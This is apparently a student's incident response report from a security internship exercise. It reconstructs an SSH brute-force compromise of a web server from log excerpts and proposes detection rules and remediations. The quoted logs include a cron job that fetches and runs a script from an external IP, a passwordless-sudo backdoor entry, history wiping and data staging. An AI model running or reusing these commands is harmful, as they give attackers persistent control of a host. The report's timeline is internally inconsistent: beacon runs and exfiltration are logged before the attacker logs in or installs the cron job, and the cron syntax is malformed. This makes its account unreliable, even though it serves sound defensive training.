

SECURITY MONITORING & INCIDENT RESPONSE

Incident Response Report

Cryptonic Area — Cyber Security & Ethical Hacking Virtual Internship · Project 04 (Blue Team)

Prepared by: Jasper I. Talangan

Host Investigated: webserver01

Sources Analyzed: auth.log, syslog.log

Date of Report: July 27, 2026

1. Executive Summary

On March 10, an unknown external actor (source IP 198.51.100.23) conducted a brute-force SSH login campaign against webserver01, attempting numerous common and service-style usernames over a roughly 30-minute window. The attack succeeded at 03:45:16 when a valid password for the “backup” account was accepted.

Following initial access, the attacker escalated privileges by creating a new account (“sysupdate”) and granting it unrestricted, passwordless sudo rights. They then established persistence through a cron job that beacons out to an external server (192.0.2.99) every 10 minutes, downloading and executing remote code (a Command & Control, or C2, channel). The attacker subsequently attempted to erase evidence by clearing the compromised account's shell history.

This report documents the log evidence, the detection logic that would catch this activity, severity classification for each stage of the attack, the incident response workflow, and recommended remediations.

2. Log Analysis

Two log sources were reviewed: auth.log (authentication and privilege events) and syslog.log (system and network-level events). Activity on March 9 reflects normal baseline behavior — routine SSH sessions from known users (deploy, aritra, ubuntu) via publickey authentication, and scheduled jobs (certbot, logrotate, apt). No anomalies were found on March 9.

Additional review of afternoon and evening activity on March 10 confirmed all further logins and scheduled jobs matched established baseline behavior, aside from one further failed login attempt from the same attacker IP at 12:40.

2.1 Failed Login Attempts

Beginning at 03:14:02 on March 10, source IP 198.51.100.23 generated a rapid sequence of failed SSH login attempts against multiple, often service-style usernames (database, postgres, pi, support, user, backup, root, admin), consistent with an automated credential-guessing (brute-force) attack.

```
Mar 10 03:14:02 sshd: Failed password for invalid user database from 198.51.100.23
Mar 10 03:14:35 sshd: Failed password for invalid user postgres from 198.51.100.23
Mar 10 03:15:17 sshd: Failed password for invalid user pi from 198.51.100.23
... (dozens of further attempts through 03:44) ...
```

2.2 Successful Login

At 03:45:16, a login using the password authentication method succeeded for the “backup” account from the same source IP, immediately following the failed-attempt burst — indicating the attacker obtained valid credentials.

```
Mar 10 03:45:16 sshd: Accepted password for backup from 198.51.100.23 port 47361
Mar 10 03:45:16 sshd: session opened for user backup by (uid=0)
```

2.3 Suspicious / Unusual User Activity

Within two minutes of logging in, the backup account escalated to root via sudo and performed a sequence of highly abnormal actions: reviewing /etc/sudoers, creating a new user and group (“sysupdate”), granting that account unrestricted passwordless sudo, and installing a recurring cron job.

```
Mar 10 03:47:11 useradd: new user: name=sysupdate, UID=1002, home=/home/sysupdate
Mar 10 03:47:31 sudo: backup ... COMMAND=/usr/sbin/usermod -aG sudo sysupdate
```

```
Mar 10 03:47:46 sudo: backup ... COMMAND=echo 'sysupdate ALL=(ALL) NOPASSWD:ALL'
>> /etc/sudoers
Mar 10 03:48:26 sudo: backup ... COMMAND=(crontab -l; echo '*/*10 * * * * curl -s
http://192.0.2.99/update.sh | bash') | crontab -
```

Immediately after, the attacker attempted to cover their tracks:

```
Mar 10 03:48:51 sudo: backup ... COMMAND=echo > /home/backup/.bash_history
Mar 10 03:48:59 sudo: backup ... COMMAND=/usr/bin/history -c
```

Corroborating evidence in syslog.log shows the resulting outbound beacon executing on schedule, plus the attacker archiving the web root and nginx configuration — activity consistent with staging data for exfiltration:

```
Mar 10 03:20:04 CRON: (root) CMD (curl -s http://192.0.2.99/update.sh | bash)
Mar 10 03:23:10 audit: EXECVE a0="/bin/tar" a1="czf" a2="/tmp/.cache_bkp.tar.gz"
a3="/var/www/html" a4="/etc/nginx"
Mar 10 03:23:55 IPTABLES-OUT: SRC=10.0.0.15 DST=192.0.2.99 PROTO=TCP DPT=443 ACK PSH
(data transfer to attacker IP)
```

2.4 Follow-On Activity

The sysupdate backdoor account was used again at 06:03:19 the same morning, confirming the attacker retained working access via the account they created. Additional failed login attempts for “root” (12:10) and “admin” (12:40) from the same source IP later that day are assessed as the same actor continuing to probe the host, and should be monitored as a possible second attempt to escalate directly on privileged accounts.

2.5 Normal vs. Suspicious Activity — Summary

Normal Baseline Activity	Suspicious / Malicious Activity
SSH publickey logins for deploy, aritra, ubuntu from 203.0.113.7 / .22	Dozens of failed password logins from 198.51.100.23 for varied/invalid usernames
Scheduled certbot renew, logrotate, apt update jobs	New cron job silently curl-piping and executing a remote script every 10 minutes
Admins running df -h, systemctl restart nginx via sudo	New user “sysupdate” created and granted NOPASSWD:ALL sudo within 35 seconds
Routine DHCP lease renewals, systemd session starts	Shell history wiped immediately after privileged actions (anti-forensics)

3. Detection Logic

The following detection rules would identify this attack chain in a live monitoring environment.

Rule 1: Brute Force SSH Login Attempts

Trigger condition: 5 or more “Failed password” attempts for different or invalid usernames from the same source IP within a 5-minute window.

Example from logs:

```
Mar 10 03:14:02 - 03:44 sshd: Failed password ... from 198.51.100.23 (repeated, varied usernames)
```

Why this should alert: A legitimate user mistyping a password fails once or twice under their own username. Many different, often service-sounding usernames tried rapidly from one IP is the signature of automated credential guessing, not human error.

Recommended action if triggered: Temporarily block the source IP and flag targeted accounts for monitoring.

Rule 2: Successful Login Following Failed Attempts

Trigger condition: A successful login occurs from a source IP that generated multiple failed login attempts within the preceding 5–10 minutes.

Example from logs:

```
Mar 10 03:45:16 sshd: Accepted password for backup from 198.51.100.23
```

Why this should alert: A brute-force attempt that ends in success means valid credentials have been obtained. The attacker is now inside the system, not merely probing it — this is the turning point that enables every later stage of the attack.

Recommended action if triggered: Immediately isolate the affected account, force a password reset, and review all actions taken during that session.

Rule 3: Privilege Escalation via New Account with Unrestricted Sudo

Trigger condition: A newly created account is added to the sudo group and/or granted NOPASSWD:ALL in /etc/sudoers shortly after creation.

Example from logs:

```
Mar 10 03:47:11 useradd: new user: name=sysupdate
Mar 10 03:47:46 sudo: echo 'sysupdate ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
```

Why this should alert: Legitimate admin accounts are rarely created and granted full, passwordless root access within seconds of each other. Real administrative onboarding is deliberate and spaced out; this pattern matches automated attacker tooling.

Recommended action if triggered: Immediately disable the new account, audit /etc/sudoers for unauthorized entries, and treat the host as compromised pending investigation.

Rule 4: Recurring Outbound Connection to External Server (C2 Beacon)

Trigger condition: The same command connects to an external IP at a fixed, regular interval via a scheduled cron job, rather than being run manually or once.

Example from logs:

```
Mar 10 03:20:04 CRON: (root) CMD (curl -s http://192.0.2.99/update.sh | bash)
Mar 10 03:30:06 CRON: (root) CMD (curl -s http://192.0.2.99/update.sh | bash)
Mar 10 03:40:11 CRON: (root) CMD (curl -s http://192.0.2.99/update.sh | bash)
```

Why this should alert: A server automatically downloading and executing a script from an unfamiliar external IP on a fixed schedule is not normal behavior — legitimate updates come from known, trusted sources, not one-off IPs, and don't blindly execute downloaded content. This pattern matches Command & Control (C2) beaconing.

Recommended action if triggered: Remove the malicious cron entry, block outbound traffic to the external IP at the firewall, isolate the host, and inspect what `update.sh` executed.

4. Incident Classification & Response

Each finding is rated by severity, considering impact if left unchecked, confidence the activity is malicious, and its stage in the attack chain.

Finding	Severity	Impact	Recommended Action
Brute Force Login Attempts	Medium	No access gained yet on its own, but a direct precursor to compromise.	Block source IP; monitor targeted accounts.
Successful Login After Failed Attempts	High	Attacker holds valid credentials for the backup account; confirmed unauthorized access to the live system.	Disable/reset the compromised account; review session activity.
Privilege Escalation (sysupdate / NOPASSWD sudo)	High	Attacker has full, passwordless root-level control via a backdoor account.	Disable sysupdate; audit and correct /etc/sudoers.
C2 Beacon & Persistence (cron → 192.0.2.99)	High	Attacker retains ongoing remote access and can execute new commands at any time, even after logging off.	Remove cron entry; block outbound IP; isolate host for forensic review.

Confidence Notes

- Successful Login: High confidence — a successful login immediately following dozens of failed attempts against multiple usernames from the same IP is not consistent with a legitimate user error; it indicates credential guessing that succeeded.
- Privilege Escalation: High confidence — a brand-new account granted full, passwordless root access within seconds of creation has no legitimate administrative justification.
- C2 Beacon: High confidence — no legitimate service on this host has a reason to curl-pipe-execute code from an unrecognized external IP every 10 minutes; this matches a known malicious pattern.

5. Incident Workflow

Detection

Suspicious activity first appeared as a burst of failed SSH login attempts from 198.51.100.23 starting at 03:14:02 on March 10, targeting multiple usernames in rapid succession.

Alert

Under Rule 1 (Brute Force), this pattern would trigger an automated alert — 5+ failed logins from one IP in a short window — the point at which a monitoring tool (e.g. a SIEM) would notify an analyst.

Investigation

Correlating auth.log and syslog.log by timestamp reveals the full chain: the brute force succeeded at 03:45:16 (login as backup), followed by privilege escalation (creation of sysupdate with NOPASSWD:ALL sudo, 03:47:11–03:47:46), persistence via a crontab C2 beacon to 192.0.2.99 every 10 minutes, and anti-forensic activity (bash history wiped, 03:48:51–03:48:59). syslog.log confirms the beacon actively executing at 03:20, 03:30, and 03:40, alongside archiving of the web root and nginx configuration.

Response

Immediate actions: block 198.51.100.23 at the firewall; disable the backup and sysupdate accounts; remove the malicious crontab entry; block outbound traffic to 192.0.2.99.

Recovery

Reset credentials for all accounts on the host; audit /etc/sudoers and remove unauthorized entries; scan the server for any additional malware update.sh may have installed; restore from a known-clean backup if integrity cannot be confirmed.

Closure

Document the full timeline and root cause (weak/guessable credentials allowing brute-force success); verify no attacker access remains; implement preventive measures (see Section 6).

6. Security Recommendations

- Enforce SSH key-only authentication; disable password login entirely.
- Implement account lockout / rate-limiting after failed login attempts (e.g. fail2ban).
- Restrict sudo access — never grant NOPASSWD:ALL to new or generic accounts.
- Monitor and alert on new user/group creation and any changes to /etc/sudoers.
- Apply egress filtering — block outbound connections to unrecognized external IPs by default.
- Enable centralized, tamper-resistant logging (e.g. forward logs off-host) so history-clearing cannot destroy evidence.